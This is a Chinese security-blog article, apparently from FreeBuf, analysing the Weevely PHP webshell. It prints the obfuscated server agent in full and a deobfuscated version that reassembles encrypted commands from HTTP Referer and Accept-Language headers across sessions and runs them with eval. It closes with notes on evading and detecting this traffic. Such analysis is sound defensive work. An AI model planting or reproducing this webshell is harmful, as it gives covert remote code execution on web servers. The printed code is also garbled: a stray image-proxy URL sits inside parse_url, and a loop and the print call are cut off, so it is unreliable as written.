當前位置:
首頁 > 新聞 > Weevely命令傳輸分析

Weevely命令傳輸分析

前言

Weevely是一款使用python編寫的webshell工具,集webshell生成和連接於一身,可以算作是linux下的一款菜刀替代工具(限於php)。Weevely類似於菜刀,一個厚客戶端,與一個輕服務端,由客戶端生成要執行的代碼,傳遞到服務端執行。與菜刀不同的是Weevely只提供命令行終端,同時自己生成服務端文件。文件的混淆與執行代碼的傳遞更複雜於菜刀。下面將對這兩方面進行分析。


混淆與解碼




$A="@.low@.@.er"@.@.@.;$i=$m[1][0@.].$m[1][1]@.;$h=$sl($s@.s(md5(@.@.$i.$kh),0,3));$f=@.$sl@.($ss(md@.5($i.$kf),0@.,";


$j="@.3));$p@.="";for($@.z=1;$z@.


$U="([\d]))?@.,?/@.",@.$ra@.,$m);if($@.q&&$m){@.@s@.ession_start(@.);$s=&$@._SESSI@.ON;$ss=@."substr@.";$s@.l="strto";

$Z="$@.kh@.="2123";$kf="2@.f29"@.;function@. x($t,$k)@.{$c=@.@.strlen($@.@.k);$l=st@.rlen(@.$t);$o="";for($@.i=0;$i@.";


$p="@.r@.r=@$r["HTT@.P_REFERE@.R"];$ra=@$r@.["HTTP_@.@.ACCEPT_LANGUA@.GE"];@.if@.($rr&&$ra@.@.){$u=parse@._url(http://img.ifuun.com/getimg.php?url=@.@.";

$o="@.]@.="";$@.p=$s@.s($@.p,3);}i@.f@.(array@._key_e@.@.xists($i@.,$s)){$s[$i].=$p;$e=strpo@.s($s[$i@.]@.,$f);if($@";


$g="_/"@.,"@./-/"),array@.("/@.","+@."),$ss@.($s@.[$i],0,$e))),$k)))@.;@.$o=ob_@.g@.et_contents@.();ob@._end@._clean";


$V="();@.@.$d=base6@.4@._encode(x(gzcompr@.@.es@.s($o),$k));print("@.<$k>$d<@./$k>"@.);@@.session_d@.est@.roy();}}}}";


$n="@.$rr);par@.s@.e_str($u["query"],@.$q);$q=array_va@.lues($@.q);@.preg@._match_all@.("/([\w@.@.])[\w-@.]+(?:;q=0@..";


$q="<$l;){fo@.r($j=0;(@.$j<@.$c&&$i@.<$l);@.@.$j++,$i++@.){$o.=$t{$@.i}^@.$k{$j@.};}}r@.eturn $o;}$r=$@._@.@.SERVER;$";


$X=str_replace("UL","","cULreaULte_ULfULunULctULion");


$u=".e)@.{$k=$kh.@.$kf;ob@._s@.tart();@ev@.al(@gzu@.ncompres@.s(@x(@@.base@.64_dec@.ode@.(pre@.g@._replace(arra@.y("/";


$R=str_replace("@.","",$Z.$q.$p.$n.$U.$A.$j.$o.$u.$g.$V);


$c=$X("",$R);$c();


?>


Weevely將服務端代碼分散放入單字元的變數中,同時夾雜著大量無用字元(@. ,隨機字元)以繞過一些關鍵詞的匹配。將分散的代碼按順序拼接,再使用

str_replace

去掉無用字元,最後由

create_function

創建匿名函數,執行。




$kh="2123"; //MD5(admin) > 21232f297a57a5a743894a0e4a801fc3


$kf="2f29";


function x($t,$k)


{


$c=strlen($k);


$l=strlen($t);


$o="";


for($i=0;$i<$l;)


{


for($j=0;($j<$c&&$i<$l);$j++,$i++)


{


$o.=$t{$i}^$k{$j};


}


}


return $o;


}


$r=$_SERVER;


$rr=@$r["HTTP_REFERER"];


$ra=@$r["HTTP_ACCEPT_LANGUAGE"];


if($rr&&$ra)


{


$u=parse_url(http://img.ifuun.com/getimg.php?url=$rr);


parse_str($u["query"],$q);


$q=array_values($q);


preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);


if($q&&$m)


{


@session_start();


$s=&$_SESSION;


$ss="substr";


$sl="strtolower";


$i=$m[1][0].$m[1][1];


$h=$sl($ss(md5($i.$kh),0,3));


$f=$sl($ss(md5($i.$kf),0,3));


$p="";


for($z=1;$z


$p.=$q[$m[2][$z]];


if(strpos($p,$h)===0)


{


$s[$i]="";


$p=$ss($p,3);


}


if(array_key_exists($i,$s))


{


$s[$i].=$p;


$e=strpos($s[$i],$f);


if($e)


{


$k=$kh.$kf;


ob_start();


@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));


$o=ob_get_contents();


ob_end_clean();


$d=base64_encode(x(gzcompress($o),$k));


print("<$k>$d");


@session_destroy();


}


}


}


}


?>


代碼傳遞


不同於菜刀,Weevely單次的命令會發送多個HTTP請求,將要執行的代碼進行分散傳遞。下面將結合Weevely Agent源碼與數據包報文進行代碼傳遞分析。Weevely將Agent的密碼進行MD5加密,取md5值的前4位存儲到變數

$kh

中,取前4至8位存儲到變數

$kf

中,用於後續的異或運算及標識字元生成。Weevely主要通過HTTP請求報文的Accept-Language,Referer欄位分散傳遞加密後的執行代碼,存儲到PHP全局變數$_SESSION中。傳輸完成後,取出存儲的字元串進行一些字元替換,再進行base64解碼,再與Agent密碼的MD5值的前幾位進行異或運算,最後進行解壓帶入到

eval

中執行。返回執行結果,最後銷毀當前會話,等待下一次的代碼傳遞。



使用

parse_url

array_values

將Referer欄位中URL的參數值作為數組,正則匹配(/([w])[w-]+(?:;q=0.([d]))?,?/)Accept-Language欄位,取出yn作為$_SESSION name,q=0.4的4保存到新數組中。由該數組的值控制,取出URL參數數組的值(Referer[4] >

ed9Sq0_-XNsshkiMfKcRiwJvecEuk0gDRw

)存儲到

$p





$_SESSION[『yn』』] >

Sq0_-XNsshkiMfKcRiwJvecEuk0gDRw

取$_SESSION name(yn)與Agent密碼md5值的前4位字元(

$kh

)拼接做md5運算,取前3位作為頭部標識符(ed9), $_SESSION name(yn)與Agent密碼md5值的前4至8位字元(

$kf

)拼接做md5運算,取前3位作為尾部標識符(d21)。判斷

$p

是否含有頭部標識符,去掉頭部標識符存儲到name 為yn的$_SESSION中。若沒有出現尾部標識符,返回此次會話SID,繼續等待下一次數據傳遞。下次發送HTTP請求將帶上上次返回PHPSESSID,進行同樣的數據處理。






$_SESSION[『yn』』] >

Sq0_-XNsshkiMfKcRiwJvecEuk0gDRwQq_ucGs9Ynfqu5wqhcKM4pUY0V3m393lpJP8ph3WTFCbzgSrlL-8QJLYYYEX






$_SESSION[『yn』』] >

Sq0_-XNsshkiMfKcRiwJvecEuk0gDRwQq_ucGs9Ynfqu5wqhcKM4pUY0V3m393lpJP8ph3WTFCbzgSrlL-8QJLYYYEXT9GEKzAnRELeBXODIiIcsKRsvewd21

若出現結尾標識符,去掉結尾標識符及後面字元,將_替換為/,-替換為+變為base64編碼格式,進行base64編碼解碼,再進行異或運算,最後解壓帶入

eval

中執行,返回執行結果,銷毀當前會話。


總結


這種多連接,分散傳輸的方式能有效避開安全防護設備的檢測。目前大部分的安全設備基本上都是基於單個連接去識別檢測,在上下文聯繫能力欠缺。針對Weevely默認代碼,可對HTTP Accept-Language欄位進行檢測,識別Weevely連接。但很容易通過修改源碼進行繞過,將控制數組放置到其他HTTP欄位中。例如,User-Agent欄位:系統版本、瀏覽器版本;Cookie欄位模擬正常的訪問數據。


Github:

https://github.com/epinna/weevely3


*本文原創作者:codingm3,屬Freebuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

震驚
新型智能電視攻擊,90%電視設備受影響!?
企業安全工作落地的一些經驗 | 我的淚、你不懂
Vault 7泄露第三彈:CIA在惡意程序源碼中插入外語,嫁禍中國、俄羅斯等國
《殺手》第二章:黑夜來臨 | 原創連載小說

TAG:FreeBuf |

您可能感興趣

RPM命令的——nodeps 和——force參數解釋
adb devices命令 unauthorized解決方案
Centos7默認firewalld防火牆使用命令
Chrome DevTools命令菜單運行命令
Linux cgroups 命令簡介
oracle-常用linux命令分享
linux-shell命令處理json數據
Win 10曝出bug:sfc/scannow命令無法工作,或與Windows Defender有關
windows cmd命令彙編
如何使用 chkconfig 和 systemctl 命令啟用或禁用 Linux 服務
關於如何使用webpack命令行傳入變數,並通過process.env來調用
Elasticsearch的DSL操作命令大全
如何在Linux上使用Pbcopy和Pbpaste命令
如何優雅地實現Redis命令setbits與getbits
Linux 常用基本命令 cal date
Linux useradd 命令基本用法
使用proxychains-ng代理轉發終端命令
kali基礎 find命令
Linux 常用基本命令 cat grep
Linux vmstat命令實際操作介紹